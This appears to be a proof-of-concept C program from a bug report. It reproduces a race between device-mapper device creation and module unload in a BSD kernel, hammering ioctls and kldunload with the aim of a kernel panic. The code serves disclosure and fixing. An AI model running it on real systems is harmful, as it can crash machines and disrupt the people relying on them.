DF-4751 / dm_unloadrace.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 | /* * DF-4751 PoC -- dm_modcmd(MOD_UNLOAD) admits its own race window: * * sys/dev/disk/dm/device-mapper.c:154-169 * case MOD_UNLOAD: * if (dm_dev_counter > 0) * return EBUSY; * [race window here -- source comment admits it] * error = dmdestroy(); * * dm_dev_counter is checked without any lock and dmdestroy() then tears down * the control cdev and the global dm_dev_list/dm_dev_mutex * (dm_dev_uninit -> lockuninit) while a concurrent NETBSD_DM_IOCTL "create" * on /dev/mapper/control may be between dm_dev_counter++ (dm_dev_insert, * dm_dev.c:193) and its later list/lock uses -- or may complete entirely * after the check, leaving a live dm disk whose ops belong to an unloaded * module. * * Harness: one thread churns create<->remove (counter oscillates 0<->1), * another hammers kldunload dm (almost always EBUSY; the interesting window * is the instant counter==0 between remove and next create). * * Privilege: /dev/mapper/control is 0640 root:operator -> run as root. * Observable success: kernel panic (lockmgr/TAILQ on torn-down state), or * unload succeeding while a device exists (check: /dev/mapper entries after * the run, kldstat). * * Build: cc -o dm_unloadrace dm_unloadrace.c -lprop -lpthread * Run: ./dm_unloadrace <seconds> */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df4751dev" static volatile int stop; static int send_ioctl(int fd, prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); ver = prop_array_create(); prop_array_add_uint32(ver, 4); prop_array_add_uint32(ver, 0); prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int create_dev(int fd) { prop_dictionary_t dict = new_dm_dict("create"); int rv; prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = send_ioctl(fd, dict); prop_object_release(dict); return rv; } static int remove_dev(int fd) { prop_dictionary_t dict = new_dm_dict("remove"); int rv; prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = send_ioctl(fd, dict); prop_object_release(dict); return rv; } static void * churn(void *arg) { int fd, creates = 0, removes = 0, errs = 0; while (!stop) { fd = open(DM_CONTROL_DEV, O_RDWR); if (fd < 0) { errs++; usleep(1000); continue; } if (create_dev(fd) == 0) creates++; else errs++; if (remove_dev(fd) == 0) removes++; else errs++; close(fd); } fprintf(stderr, "churn: creates=%d removes=%d errs=%d\n", creates, removes, errs); return (NULL); } static void * unloadhammer(void *arg) { int unloads = 0, loads = 0, status; while (!stop) { status = system("/sbin/kldunload dm >/dev/null 2>&1"); if (status == 0) { unloads++; fprintf(stderr, "unloadhammer: UNLOADED dm (%d)\n", unloads); usleep(2000); /* widen churn exposure */ if (system("/sbin/kldload dm >/dev/null 2>&1") != 0) fprintf(stderr, "unloadhammer: kldload FAILED\n"); else loads++; } } fprintf(stderr, "unloadhammer: unloads=%d reloads=%d\n", unloads, loads); return (NULL); } int main(int argc, char **argv) { int secs = (argc > 1) ? atoi(argv[1]) : 20; pthread_t t1, t2; if (system("/sbin/kldload dm >/dev/null 2>&1") != 0) ;/* already loaded is fine */ pthread_create(&t1, NULL, churn, NULL); pthread_create(&t2, NULL, unloadhammer, NULL); sleep(secs); stop = 1; pthread_join(t1, NULL); pthread_join(t2, NULL); system("ls -l /dev/mapper/ 2>/dev/null"); system("kldstat | grep dm"); return (0); } |